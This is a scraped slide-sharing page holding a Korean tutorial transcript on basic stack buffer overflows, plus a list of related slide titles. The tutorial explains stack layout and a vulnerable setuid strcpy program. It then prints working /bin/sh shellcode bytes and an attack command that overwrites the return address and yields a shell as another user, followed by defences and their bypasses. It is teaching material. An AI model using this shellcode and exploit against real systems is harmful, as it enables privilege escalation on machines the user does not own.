Basic of Buffer Over Flow

Slides:



Advertisements
Similar presentations
- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
Advertisements

Efl을 이용한 타이젠 네이티브 웨어러블 앱 만들기
순천향대학교 정보보호연구회 김 홍 기 포인터와 문자열 순천향대학교 정보보호연구회 김 홍 기
* 07/16/96 처음으로 배우는 C 프로그래밍 제1부 기초 제1장 시작하기 *.
예외 상황 예제 개발 1실 서버팀 우상욱 소스 첨가(…).
C++ Tutorial 1 서강대학교 데이터베이스 연구실.
Linux/UNIX Programming APUE (The Environment of a UNIX Process)
Shellcode 작성 김영성.
Activation Records & Recursion
Power C++ 제6장 포인터와 문자열.
2016 ITA 1월 강의 C Programming -4일차- 포인터배열 및 이중포인터 정대진 ( )
9장 가로채기(Interrupt) Slide 1 (of 15).
공격/대응 Examples.
C 프로그래밍 소개 숙명여대 창병모 2011 가을.
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
버퍼 오버플로우 by 강희원,김무혁.
C++ 프로그래밍 년 2학기 전자정보공학대학 컴퓨터공학부.
System Call Linux Kernel 수업 3번째.
제 1 장 마이크로프로세서의 기본동작.
3장 MPU 내부구조 Slide 1 (of 28).
제3장 추가 실습 3장 관련 C 언어 프로그래밍 실습.
Department of Computer Engineering
공학기초설계 Youn-Hee Han 강의 소개 & MinGW & gcc 공학기초설계 Youn-Hee Han
C언어: 배열 (Arrays).
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
배열, 포인터, 참조 배열은 같은 형을 가지는 변수들의 묶음이다..
Software Exploit and Kernel Protection
제 18 강 데이터 타입 타입, 변환, 캐스팅 shcho.pe.kr.
시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 박동혁.
버퍼 오버플로우 시스템보안 류기환 권재홍.
버퍼 오버플로우 시스템보안 인터넷공학전공 권영락.
10장 메모리 관리.
Department of Computer Engineering
윤성우의 열혈 C 프로그래밍 윤성우 저 열혈강의 C 프로그래밍 개정판 Chapter 02. 프로그램의 기본구성.
Term Project Team Member
Geek-OS Project 정영진
8086 프로세서의 구조 및 동작 방식 시스템 프로그래밍 - Lecture #2 신라대학교 컴퓨터공학과 시스템 프로그래밍.
BOF of 2.6 Kernel ! 박수완 / Su-Wan, PARK [ L1nkC] 숭실대학교 정보보호동아리 ACK
Chapter 11 Strings.
제3장 8086 프로세서의 내부구조.
Department of Computer Engineering
전자의료시스템 및 실습 C-언어 구 환 경희대학교 전자정보대학 동서의료공학과.
Linux/UNIX Programming APUE (The Environment of a Linux/Unix Process)
17장. 문자열 01_ 문자열 사용의 기본 02_ 문자열의 사용.
10장 C 표준 파일 입출력 子曰 學而時習(실습?)之 不亦悅乎.
명령어 구조 컴퓨터 하드웨어의 구성 프로그램 명령어 프로그램 실행 동작.
Buffer Overflow
DataScience Lab. 박사과정 김희찬 (월)
CGI (Common Gateway Interface)
운영체제 (Operating Systems) (Memory Management Strategies)
CGI (Common Gateway Interface)
발표자료는 다음링크에서 다운로드 받으실 수 있습니다.
Security and Programming
Chapter 4 변수 및 바인딩.
Fflush 사용이유 및 방법 [이유] 키보드에서 입력된 내용은 입력버퍼에 저장되었다가 Enter 키가 들어오면 프로그램으로 전달됨 이 때 입력버퍼에 있는 Enter 키도 프로그램으로 전달됨 그러므로 아래와 같은 프로그램에서 문자 하나를 입력해도 Enter키도 입력된 것으로.
Department of Computer Engineering
03. 메모리 관리 C++ 프로그램에서 다룰 수 있는 메모리의 종류
FTZ 과제풀이 Level 11,12 HyunJae Lee
Execution with Unnecessary Privileges
GDB - GNU Debugger 김진용.
자료구조 세미나 발표 주제: 자료구조 기초 - 1회 차: 자료구조의 정의, 기초 지식 (함수, 포인터, 레퍼런스)
실습과제 1번 생성된 파일 basic.txt를 프로젝트 폴더에서 메모장으로 열고 내용을 확인
9장. C 언어의 핵심! 함수. 9장. C 언어의 핵심! 함수 9-1 함수의 정의와 선언 main 함수 다시 보기 : 함수의 기본 형태 { } 그림 9-1.
argc, argv 의 사용방법 #include <stdio.h>
C 13장. 입출력 라이브러리 #include <stdio.h> int main(void) { int num;
C.
printf("Global Korea\n");
배열, 포인터, 함수 Review & 과제 1, 2.
한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영
배열.
Presentation transcript:

Basic of Buffer Over Flow S.S.G 방승원

Agenda Introduction Memory Structure Stack Structure while Example Target Program Ready & Attack Attack & Security Application of Overflow

Introduction Overflow ?? Buffer Over Flow ?? 넘치다, 넘쳐 흐르다;범람하다; <용기 등이> 가득 차다, 넘치다 Buffer Over Flow ?? 정해진 메모리보다 많은 데이터를 입력 받아 특정 영역을 덮음으로써 프로그램 흐름을 바꿔 공격자가 원하는 코드를 실행하는 공격 <Phrack Magazine 49-14>, Aleph One

Memory Structure TEXT : TEXT Program Code DATA : Static Variable LOW TEXT TEXT : Program Code DATA : Static Variable Global Variable HEAP : Dynamic Allocation STACK Dynamic Varbiable Local Variable DATA HEAP STACK HIGH

Stack Structure LIFO(Last In First Out) PUSH POP STACK Memory LOW (0x08048000) Stack HIGH STACK LIFO(Last In First Out) PUSH POP SP(Stack Pointer) BP(Base Pointer) PUSH POP C B Memory HIGH (0xbfffffff) A Stack LOW SP BP

Example Program #include <stdio.h> void func(int a, int b, int c) { int buf1; char buf2[16]; } void main() func(1, 2, 3); printf(“Hello, World!\n”);

Example Program STACK #include <stdio.h> Memory LOW (0x08048000) Stack HIGH STACK buf2 #include <stdio.h> void func(int a, int b, int c) { int buf1; char buf2[16]; } void main() func(1, 2, 3); printf(“Hello, World!\n”); buf1 Stack Frame Pointer Return Address 1 2 Memory HIGH (0xbfffffff) 3 Stack LOW ESP EBP

Example Program STACK main: pushl $3 pushl $2 pushl $1 call func ESP Memory LOW (0x08048000) Stack HIGH STACK buf2 main: pushl $3 pushl $2 pushl $1 call func addl $16, %esp func: pushl %ebp movl %esp, %ebp subl $40, %esp leave (pop %ebp ret buf1 Dummy EBP Stack Frame Pointer Return Address 1 2 Memory HIGH (0xbfffffff) 3 Stack LOW

Target Program #include <stdio.h> #include <string.h> void func(char *str) { char buf[64]; strcpy(buf, str); } void main(int argc, char *argv[]) func(argv[1]); printf(“Hello, World\n”); argc, argv 프로그램을 실행 할 때 인자를 입력받는 방법 ex) ./target bang 1234 argv = 3; argv[0] = “target”; argv[1] = “bang”; argv[2] = “1234”; strcpy(dest, src) src가 가르키는 문자열을 dest로 복사 * 크기 제한이 없어 overflow 취약점 발생

Target Program Setuid Bit 가 걸려있음 Set User ID Bit(number – 4000) $ chmod 4755 target (or chmod u+s) -rwsr-xr-x 1 level1 level1 target  어떤 사용자든지 이 target을 실행할 땐 level1 유저권한을 갖게 됨 ex) passwd Redhat 9.0, Kernel 2.4.32, gcc 3.2.2-5

Target Program Let’s Run program With a lot of ‘A’ Character!!! Result : Segmentation Fault Why??

Target Program ESP Memory LOW (0x08048000) Stack HIGH STACK buf #include <stdio.h> #include <string.h> void func(char *str) { char buf[64]; strcpy(buf, str); } void main(int argc, char *argv[]) func(argv[1]); printf(“Hello, World\n”); Dummy EBP SFP RET Memory HIGH (0xbfffffff) str = argv[1] Stack LOW

Target Program STACK $ ./target `perl -e 'print "A"x71'` Normal Memory HIGH Memory LOW $ ./target `perl -e 'print "A"x71'` 64 Bytes 8 Bytes 4 Bytes 4 Bytes 4 Bytes STACK buf Dummy SFP RET str = argv[1] [ AAAAAAAAAAAAAAAAAAAAAAAAAAA\0 ][ BBFFFFBF ][ BBFFFF08 ][ BBFFFFBB ] Stack LOW Stack HIGH Normal

Target Program STACK $ ./target `perl -e 'print "A"x72'` Overflow Memory HIGH Memory LOW $ ./target `perl -e 'print "A"x72'` 64 Bytes 8 Bytes 4 Bytes 4 Bytes 4 Bytes STACK buf Dummy SFP RET str = argv[1] [ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA ][ 00FFFFBF ][ BBFFFF08 ][ BBFFFFBB ] Stack LOW Stack HIGH Overflow

Target Program STACK $ ./target `perl -e 'print "A"x80'` Real Overflow Memory HIGH Memory LOW $ ./target `perl -e 'print "A"x80'` 64 Bytes 8 Bytes 4 Bytes 4 Bytes 4 Bytes STACK buf Dummy SFP RET str = argv[1] [ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA ][ AAAA ][ AAAA ][ BBFFFFBB ] Stack LOW Stack HIGH Real Overflow

Target Program STACK Memory LOW Stack HIGH A Dummy SFP [ BFFFFFBF ] SP Memory LOW (0x08048000) Stack HIGH func: pushl %ebp movl %esp, %ebp subl $72, %esp subl $8, %esp pushl 8(%ebp) leal -72(%ebp), %eax pushl %eax call strcpy addl $16, %esp leave ret main: movl 12(%ebp), %eax addl $4, %eax pushl (%eax) call func subl $12, %esp STACK A Dummy E BP SFP [ BFFFFFBF ] RET [ BBFFFF08 ] Memory HIGH (0xbfffffff) str Stack LOW

Target Program STACK Memory LOW Stack HIGH A Dummy [ AAAA ] SP Memory LOW (0x08048000) Stack HIGH func: pushl %ebp movl %esp, %ebp subl $72, %esp subl $8, %esp pushl 8(%ebp) leal -72(%ebp), %eax pushl %eax call strcpy addl $16, %esp leave ret main: movl 12(%ebp), %eax addl $4, %eax pushl (%eax) call func subl $12, %esp STACK A 0x41414141(??) Dummy [ AAAA ] E BP SFP [ AAAA ] RET [ AAAA ] Memory HIGH (0xbfffffff) str Stack LOW

Shell Code 쉘을 실행해주는 코드 #include <unistd.h> void main() { char *shell[2]; setreuid(3001, 3001); shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } 어셈코드 "\x31\xc0\x31\xdb\x31\xc9\x66\xbb” “\xb9\x0b\x66\xb9\xb9\x0b\xb0\x46” “\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88” ”\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3” ”\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31” ”\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Attack Ready Segmentation Fault 확인 쉘코드 제작 쉘코드를 버퍼에다 넣었을 때, 그 버퍼의 주소를 찾아야 됨 But, 버퍼의 주소를 추측하기가 어려움 그러므로 쉘 환경 변수에 쉘코드를 넣어서 사용하여 쉘코드의 주소를 계산해 주는 Eggshell 사용

Attack bash-2.05b$ ./egg 512 200 Using address: 0xbffffa60 bash-2.05b$ ./target `perl -e 'print "A"x76';(printf "\x60\xfa\xff\xbf")` sh-2.05b$ id uid=3001(level1) gid=1000(guest) groups=1000(guest) sh-2.05b$

Attack V.S Security Non-executable Stack  Return Into Libc  Omega Project Stack Guard and Stack Shield  Bypass Stack Guard and Stack Shield Random Stacks Exec Shield(커널수준)  Exec Shield 회피 strcpy(), strcat(), gets(), fscanf(), scanf(), sprintf() 등 사용 자제 -> strncpy() strncat() 사용 And so on………

Application of Overflow Windows, Unix, Linux, Mac Local, Remote Web -> ActiveX Heap Overflow Integer Overflow Frame Pointer Overwrite